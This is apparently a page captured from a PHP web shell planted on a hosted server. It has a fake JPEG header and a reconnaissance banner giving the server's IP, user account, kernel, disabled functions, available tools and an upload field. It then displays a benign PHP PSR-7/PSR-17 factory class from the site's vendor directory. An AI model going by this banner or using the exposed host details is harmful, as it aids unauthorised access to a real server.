����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 3.145.179.147 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/www/vendor/nyholm/psr7/src/Factory/ |
Upload File : |
<?php declare(strict_types=1); namespace Nyholm\Psr7\Factory; use Nyholm\Psr7\{Request, Response, ServerRequest, Stream, UploadedFile, Uri}; use Psr\Http\Message\{RequestFactoryInterface, RequestInterface, ResponseFactoryInterface, ResponseInterface, ServerRequestFactoryInterface, ServerRequestInterface, StreamFactoryInterface, StreamInterface, UploadedFileFactoryInterface, UploadedFileInterface, UriFactoryInterface, UriInterface}; /** * @author Tobias Nyholm <tobias.nyholm@gmail.com> * @author Martijn van der Ven <martijn@vanderven.se> * * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md */ class Psr17Factory implements RequestFactoryInterface, ResponseFactoryInterface, ServerRequestFactoryInterface, StreamFactoryInterface, UploadedFileFactoryInterface, UriFactoryInterface { public function createRequest(string $method, $uri): RequestInterface { return new Request($method, $uri); } public function createResponse(int $code = 200, string $reasonPhrase = ''): ResponseInterface { if (2 > \func_num_args()) { // This will make the Response class to use a custom reasonPhrase $reasonPhrase = null; } return new Response($code, [], null, '1.1', $reasonPhrase); } public function createStream(string $content = ''): StreamInterface { return Stream::create($content); } public function createStreamFromFile(string $filename, string $mode = 'r'): StreamInterface { try { $resource = @\fopen($filename, $mode); } catch (\Throwable $e) { throw new \RuntimeException(\sprintf('The file "%s" cannot be opened.', $filename)); } if (false === $resource) { if ('' === $mode || false === \in_array($mode[0], ['r', 'w', 'a', 'x', 'c'], true)) { throw new \InvalidArgumentException(\sprintf('The mode "%s" is invalid.', $mode)); } throw new \RuntimeException(\sprintf('The file "%s" cannot be opened.', $filename)); } return Stream::create($resource); } public function createStreamFromResource($resource): StreamInterface { return Stream::create($resource); } public function createUploadedFile(StreamInterface $stream, int $size = null, int $error = \UPLOAD_ERR_OK, string $clientFilename = null, string $clientMediaType = null): UploadedFileInterface { if (null === $size) { $size = $stream->getSize(); } return new UploadedFile($stream, $size, $error, $clientFilename, $clientMediaType); } public function createUri(string $uri = ''): UriInterface { return new Uri($uri); } public function createServerRequest(string $method, $uri, array $serverParams = []): ServerRequestInterface { return new ServerRequest($method, $uri, [], null, '1.1', $serverParams); } }